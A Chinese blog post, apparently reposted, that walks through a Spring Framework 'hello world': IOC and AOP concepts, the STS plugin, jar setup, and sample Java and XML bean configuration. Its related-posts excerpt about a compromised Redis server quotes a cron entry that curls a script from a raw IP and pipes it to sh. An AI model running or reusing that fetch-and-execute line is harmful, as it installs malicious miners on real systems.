spring helloworld

spring helloworld

大家好,又见面了,我是全栈君,祝每个程序员都可以多学几门语言。

spring 是什么?

IOC和AOP

开源框架

能够原本须要使用EJB繁琐的配置变的简单


spring长处?

轻量级:spring是非侵入性的,基于spring开发的应用中的对象不依赖于spring的api

依赖注入:(DI,IOC)

面向切面编程(AOP)

容器:spring是一个容器,由于它包括而且管理应用对象的生命周期

框架:spring实现了使用简单的组件配置合成一个复杂应用,在spring中能够使用xml和java注解组合这些对象

一站式:在IOC和AOP的基础上能够整合各种企业应用的开源框架和优秀的第三方类库(实际上spring自身也提供了展现层的springmvc和持久层的spring jdbc)

 

spring模块

spring helloworld


安装插件(spring tool suite)

spring tool suite是一个eclipse插件,利用该插件能够更方便的在eclipse平台上开发基于spring的应用

插件下载地址:http://spring.io/tools/sts/all

spring helloworld

下载插件,安装时注意:仅仅须要安装以spring IDE结尾的模块就可以


搭建spring开发环境

导入例如以下jar包:

spring helloworld

注意:commons-logging-1.1.3.jar是spring额外须要依赖的日志包。下载地址:

http://commons.apache.org/proper/commons-logging/

导入这些包并添�build path路径

创建配置文件

spring配置文件:一个典型的spring项目须要创建一个或多个Bean配置文件,这些配置文件用于在spring IOC容器里配置Bean,Bean配置文件能够放在classpath下,也能够放在其它文件夹下

 spring helloworld

spring helloworld

spring helloworld

实例代码:

文件夹结构

spring helloworld

HelloWorld.java

package com.coslay.beans;

public class HelloWorld {
	private String name;
	
	public void setName(String name){
		System.out.println("setName: ");
		this.name = name;
	}
	
	public void hello(){
		System.out.println("hello: "+name);
	}
	
	public HelloWorld(){
		System.out.println("HelloWorld's Constructor...");
	}
}


Main.java

package com.coslay.spring;

import org.springframework.context.ApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

import com.coslay.beans.HelloWorld;

public class Main {
	public static void main(String[] args) {
		
//		//创建HelloWorld的一个对象
//		HelloWorld helloWorld = new HelloWorld();
//		//为name属性赋值
//		helloWorld.setName("yyz");
//      使用spring以后,这两步可交给spring完毕		
		
		
		//1.创建spirng的IOC对象
		ApplicationContext ctx = new ClassPathXmlApplicationContext("applicationContext.xml");
		//创建容器的时候会调用全部bean对象的构造器,并为bean注入(赋值)
		
		//2.从IOC容器中获取Bean实例
		HelloWorld helloWorld = (HelloWorld) ctx.getBean("helloWorld");
		
		//调用hello方法
		helloWorld.hello();
	}
}

applicationContext.xml

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
	xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
	xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
	
	<!-- 配置bean -->
	<bean id="helloWorld" class="com.coslay.beans.HelloWorld">
		<property name="name" value="yyz"></property>
	</bean>
	
	
</beans>


版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/118207.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • 惊!我的 Redis 被挖矿脚本注入了

    惊!我的 Redis 被挖矿脚本注入了发现周五在个人服务器上新部署了redis做测试加了个几个key,过了个快乐周末,周一回来一看原key都没了,估计是用了flushall,而且多了这四个key。 k v backup1 */2****rootcd1-fsSLhttp://194.87.139.103/cleanfda/init.sh|sh backup2 */3****rootwget-q-

    2022年7月14日
    24
  • quartus ii15.1安装教程_quartus ii9.1安装教程

    quartus ii15.1安装教程_quartus ii9.1安装教程安装步骤:安装前先关闭杀毒软件和360卫士,注意安装路径不能有中文,存放安装包的路径最好也不要有中文。1.解压安装包。2.安装前下载相应的器件库文件。再安装包–>器件库下载地址–>器件库下载地址.txt。复制器件库中需要的器件的下载地址。3.下载好库文件后将它放在软件安装程序同一路径。运行安装程序。4.点击NEXT。5.点击Iaccept,然后点击NEXT。…

    2022年10月15日
    2
  • wpf wrapPanel居中并从左到右排列

    wpf wrapPanel居中并从左到右排列publicclassAlignableWrapPanel:Panel{///<summary>///注册新的属性HorizontalContentAlignment///</summary>publicHorizontalAlignmentHorizontalContentAlignment{get{return(Horizont.

    2022年7月22日
    12
  • Python电影评论数据分析系统_echarts数据可视化

    Python电影评论数据分析系统_echarts数据可视化书接上文,继上文实现了《复仇者联盟4:终局之战》电影的影评数据分析采集之后,本文主要对获取到的影评数据进行一些可视化展示,主要的可视化展示手段是词云。这里我把200条左右的纯评论数据抽取解析了出来,贴在下面,感兴趣的可以拿去:=========================================================================…

    2025年11月6日
    8
  • 金士顿DataTraveler 100G3 16G的U盘量产过程

    金士顿DataTraveler 100G3 16G的U盘量产过程几年前买的金士顿16GU盘由于这几天安装系统做成了启动盘,刚开始还可以正常,谁知道睡了一觉就废了。第一次尝试修复具体表现:1、插上电脑可以识别盘符,但是打不开,提示请插入U盘。2、磁盘管理中

    2022年7月3日
    64
  • 如何在阿里云服务器Centos 7中部署定时签到python脚本

    如何在阿里云服务器Centos 7中部署定时签到python脚本

    2021年10月3日
    52

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号